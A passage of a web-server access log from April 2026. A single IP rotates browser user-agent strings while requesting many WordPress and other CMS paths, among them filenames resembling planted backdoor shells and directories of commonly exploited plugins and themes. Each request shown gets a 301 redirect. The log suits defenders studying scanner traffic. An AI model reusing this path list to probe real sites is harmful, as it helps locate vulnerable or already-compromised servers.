HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-includes/customize/class-wp-customize-autoloads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-double.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-includes/rest-api/search/222.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-includes/assets/script-loader-packages.min-part.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-includes/SimplePie/Category-cookie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-includes/SimplePie/Decode/theme-preview.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-content/languages/continents-cities-fr_FR.l11n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-includes/class-wp-simplepie-file-constructor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-includes/widgets/class-wp-widget-recent-posts-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-includes/l10n-old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-includes/blocks/latest-posts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /admin/controller/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-content/plugins/content-management/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /wp-content/themes/Avada/licensing/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:35 +0300] "GET /themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /wp-content/plugins/tunnelforms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /admin/fckeditor/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /wp-content/plugins/watch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /plugins/finder/categories/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /bitrix/admin/htmleditor2/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /wp-includes/js/jquery/ui/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /assets/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /Requests/Exception/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /wp-json/wp/v2/give_forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:36 +0300] "GET /wp-content/plugins/ultimate-member/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-content/plugins/js-support-ticket/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-content/plugins/easy-themes-manager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-content/settings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-includes/blocks/pullquote/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-includes/bk/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:37 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /wp-admin/images/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /wp-includes/blocks/comments-pagination-numbers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /wp-admin/user/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /assets/bootstrap-fileupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /wp-content/plugins/yanierin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /wp-content/plugins/profile-builder/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /wp-content/plugins/plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /wp-admin/network/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /wp-includes/theme-compat/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /wp-includes/js/dist/development/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:38 +0300] "GET /management1/assets/assets/images/gallery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /management/assets/assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /wordpress/wp-includes/blocks/accordion/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /assets/worders_front/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /css/dmtixucz/golden-access/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /assets/jquery-ui/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /wp-content/themes/Avada/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /wp-content/uploads/fusion-forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /wp-content/themes/Avada/includes/lib/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /wp-content/themes/jupiter/framework/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /wp-includes/blocks/site-title/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /wp-content/plugins/jupiterx-core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /wp-content/themes/Avada/shortcodes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:39 +0300] "GET /wp-json/bricks/v1/render_element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wp-content/themes/bricks/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wp-content/themes/service-finder/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wp-content/plugins/nupkc/configUGT/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wp-content/themes/service-finder/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wp-json/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wp-json/wp/v2/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wp-content/uploads/2025/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wp-content/uploads/2026/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:40 +0300] 